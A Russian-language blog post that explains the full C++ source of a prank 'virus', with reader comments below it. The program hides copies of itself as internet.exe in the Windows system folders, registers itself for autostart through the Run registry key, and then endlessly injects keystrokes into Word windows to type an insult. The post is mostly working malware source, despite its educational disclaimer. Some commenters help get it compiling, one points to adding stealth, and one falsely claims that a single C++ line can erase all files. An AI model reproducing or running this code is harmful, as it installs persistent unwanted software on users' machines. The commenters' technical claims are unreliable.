Еще один исходник вируса на C++. Шутка с MS Word. Сейчас по шагам распишем, как устроен этот шутник.
Подключаем библиотеки и создаем основные переменные.
#include <windows.h>
#include <iostream.h>WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{HKEY key;
char sysdir[256],
windir[256],
myname[256];
Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory
GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.
strcat(windir,”\\internet.exe”);
strcat(sysdir,”\\internet.exe”);
Копируемся и ставим себе скрытые атрибуты
CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);
Прописываемся в реестр на автозагрузку
RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”, 0,KEY_WRITE, &key);
RegSetValueEx(key,”internet.exe”,0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);
Ожидаем 2 минуты. Зачем не знаю:)
Sleep(60000*2); //Две минуты
Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст “Вы ламер”.
int k=0;
do
{
if (FindWindow(NULL, “Microsoft Word”)!=0 || FindWindow(NULL, “Microsoft Excel”)!=0 || FindWindow(NULL, “Microsoft PowerPoint”)!=0)
{
ShowWindow(FindWindow(NULL, “Microsoft Word”) , SC_MAXIMIZE);
LoadKeyboardLayout(“00000419”, KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event(‘D’, 0,0,0);
keybd_event(‘D’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘S’, 0,0,0);
keybd_event(‘S’, 0,KEYEVENTF_KEYUP,0);
keybd_event(VK_SPACE, 0,0,0);
keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘K’, 0,0,0);
keybd_event(‘K’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘F’, 0,0,0);
keybd_event(‘F’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘V’, 0,0,0);
keybd_event(‘V’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘T’, 0,0,0);
keybd_event(‘T’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘H’, 0,0,0);
keybd_event(‘H’, 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}
Вот и весь вирус-шутник. Вся информация предоставлена исключительно для ознакомления и не может расцениваться как руководство к написанию вредоносных программ. Исходники оригинального вируса были найдены в сети интернет и комментированны мной в целях повышение уровня знаний пользователей при борьбе с вирусами.
круто..взяла почти все))
я знаю такой вирус:
int &r = 0;
вот и все может стереть все файлы на диске но не каждый компилятор скомпилит
а есть ещё такой:
char a[5];
a[6] = ‘b’
может привести к поломке системы
jojo97 нехрен писать тут когда обкурен.
Лучше бы на дельфи 7 этот исходник выложили!!!
Я уже весь инет перелопатил в поисках толкового описания работы с реестром через С++ кучу примеров перепробовал) может кто нить подробно написать что нужно вписывать в действия кнопки чтоб при нажатии на него вносились изменения в реестр??Буду очень признателен)
Тут чё-то совсем не то.Поставил этот код в компилятор а он пишет:”cpp:6: error: ISO C++ forbids declaration of `WinMain’ with no type”
Кто-нибудь знает чё делать?!
Автору мэни фенькс за такой интересный исходник, особо порадовала находка эмуляции нажатия клавиш!=)
P.S. Бесконечный цикл грузит CPU на 100%.Еще не организован Stealth-Mode. Впрочем, кому надо, те поправят.
Петрович перепиши так:
int WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
int &r = 0;
и ,как это сотрёт все файлы системы, это же посто обьявление указателя на переменную типа int ?
char a[5];
a[6] = ‘b’
да и это не лучше, просто возможно затрёт килобиты памяти, хотя хрен его знает, я всегда проверял код,чтобы не было выхода за пределы массива.
Этот исходник написан на языке Си, ничего от C++, ни классов, ни шаблонов тут нет, грамотеи. Вот в частности из-за таки как Вы большинство быдлокодеров навсегда остаются на на одном и том же уровне развития, т.к. ничерта не понимают где использовать C-style а где C++-style.